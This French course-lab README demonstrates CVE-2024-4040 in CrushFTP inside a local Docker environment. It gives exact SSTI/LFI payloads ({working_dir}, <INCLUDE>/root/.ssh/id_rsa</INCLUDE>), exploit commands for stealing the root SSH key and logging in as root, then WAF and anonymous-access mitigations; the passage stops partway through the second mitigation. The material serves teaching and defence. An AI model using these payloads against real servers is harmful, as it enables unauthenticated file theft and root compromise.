CVE-2024-4040 — Preuve de Concept SSTI / LFI CrushFTP

À usage éducatif et en laboratoire autorisé uniquement.
CS443 Sécurité des systèmes et des logiciels — environnement Docker local contrôlé.

---

Résumé de la vulnérabilité

Champ	Détail
CVE	CVE-2024-4040
Logiciel affecté	CrushFTP < 10.7.1 (branche v10) / < 11.1.0 (branche v11)
Type de vulnérabilité	Injection de template côté serveur (SSTI) → Lecture de fichier local non authentifiée
Score CVSS	9.8 Critique
Impact	Des attaquants non authentifiés peuvent lire des fichiers arbitraires du système de fichiers du serveur

Le WebInterface de CrushFTP évalue des expressions de template dans le paramètre path de la commande zip sans assainissement. Un attaquant non authentifié peut obtenir des cookies de session anonymes, puis utiliser ces cookies pour transmettre des charges utiles de template ({working_dir}, <INCLUDE>…</INCLUDE>) que le serveur évalue et renvoie — permettant une lecture de fichier arbitraire sur l'hôte.

---

Environnement de laboratoire

Composant	Valeur
Cible	http://localhost:8080
Version PoC de base CrushFTP	10.3.0 (volontairement vulnérable)
Environnement de test Mitigation 3	Conteneur distinct exécutant CrushFTP 11.x (branche corrigée)
Port SSH (conteneur)	2222 → 22
Identifiants administrateur	admin / admin
Runtime du conteneur	Docker (Compose)

---

Prérequis

pip install requests rich

---

Scripts

Script	Source	Objectif
crushed.py	Stuub/CVE-2024-4040-SSTI-LFI-PoC	Exploit SSTI/LFI complet — vol de session, lecture de fichier arbitraire
recon.py	Ce dépôt	Détection de version, sondage SSTI en direct, confirmation de vulnérabilité

---

Parcours de la preuve de concept

Étape 1 — Démarrer le laboratoire

docker-compose up -d

Attendez environ 10 secondes que CrushFTP s'initialise complètement avant d'exécuter les scripts. Aucune étape de reconnaissance séparée n'est nécessaire ici car crushed.py vérifie déjà si l'exploitation est possible pendant son exécution.

---

Étape 2 — Vol de la clé privée SSH via LFI

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

Le script va :

1. Obtenir une session anonyme CrushAuth / currentAuth depuis /WebInterface/
2. Utiliser SSTI pour confirmer l'évaluation de template et divulguer le nom d'hôte du serveur
3. Utiliser {working_dir} pour résoudre le répertoire d'installation de CrushFTP
4. Utiliser <INCLUDE>/root/.ssh/id_rsa</INCLUDE> pour lire le fichier cible
5. Afficher le contenu brut du fichier sur la sortie standard

Copiez le bloc de clé privée depuis la sortie (tout depuis -----BEGIN OPENSSH PRIVATE KEY----- jusqu'à -----END OPENSSH PRIVATE KEY-----).

---

Étape 3 — Sauvegarder la clé volée

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<collez la clé depuis la sortie>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

---

Étape 4 — SSH dans le conteneur en tant que root

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

---

Étape 5 — Confirmer l'accès root

whoami
# Attendu : root

id
# Attendu : uid=0(root) gid=0(root) groups=0(root)

hostname
# Attendu : <container_id>

---

Schéma de la chaîne d'attaque

Attaquant non authentifié
        │
        ▼
GET /WebInterface/          ← obtient les cookies anonymes CrushAuth + currentAuth
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmé — template évalué par le serveur
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← divulgue le chemin d'installation absolu
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← lecture de fichier arbitraire
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← shell root complet

---

Problèmes connus majeurs dans crushed.py

Problème	Emplacement	Détails
Dépendance manquante	Lignes 6–9	Nécessite pip install rich avant l'exécution
Analyse XML fragile	Lignes 86, 140	Plante sur les réponses serveur non XML ; pas de gestion ParseError
Regex de jeton trop stricte	Lignes 160–161	Le motif CrushAuth=…; currentAuth=… peut ne pas correspondre à tous les formats sessions.obj
HTTP 404 uniquement	Ligne 53	La récupération de cookie ne réussit que sur 404 ; passe silencieusement sur d'autres codes

---

Stratégies d'atténuation

Atténuation 1 — Pare-feu applicatif Web (NGINX + ModSecurity)

Aperçu

Un pare-feu applicatif Web (WAF) agit comme un proxy inverse qui inspecte le trafic HTTP/S entrant avant qu'il n'atteigne CrushFTP. En utilisant NGINX avec ModSecurity, les requêtes malveillantes exploitant CVE-2024-4040 sont bloquées en périphérie réseau sans modifier CrushFTP lui-même.

Comment cela atténue CVE-2024-4040

• Bloque les motifs de traversée de chemin (par exemple, ../, %2e%2e) dans les URI et cookies de requête
• Empêche les requêtes d'évasion VFS non authentifiées d'atteindre CrushFTP
• Journalise et refuse les charges utiles suspectes avant qu'elles n'atteignent l'application

Configuration Docker

Utilisez Mitigation 1/docker-compose.yaml :

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configuration NGINX

Utilisez Mitigation 1/nginx.conf :

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Activer ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy tout le trafic vers CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Renvoyer 403 pour les requêtes bloquées
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Requête bloquée par le WAF"}';
        }
    }
}

Flux de trafic

Attaquant -> NGINX WAF (port 80) -> bloque malveillant -> 403 Interdit
                             -> forwarde propre -> CrushFTP:8080

Limites

• Ne corrige pas la cause racine — CrushFTP reste vulnérable si le WAF est contourné
• Nécessite des mises à jour des règles à mesure que les attaquants développent des techniques d'obfuscation

Atténuation 2 — Désactiver l'accès utilisateur anonyme

Aperçu

CVE-2024-4040 est exploitable sans authentification. Dans ce laboratoire, l'accès de type anonyme est bloqué au niveau NGINX en exigeant un en-tête Authorization avant de proxyer les routes sensibles vers CrushFTP.

Comment cela atténue CVE-2024-4040

• Les scripts d'exploit comme crushed.py reposent sur un accès non authentifié ; les requêtes sans identifiants sont rejetées avec 401
• Les requêtes vers /WebInterface/ et / sont refusées sauf si des données d'authentification sont présentes
• Réduit l'exposition des points de terminaison vulnérables aux utilisateurs non authentifiés

Configuration Docker (Exacte depuis Mitigation 2/docker-compose.yaml)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"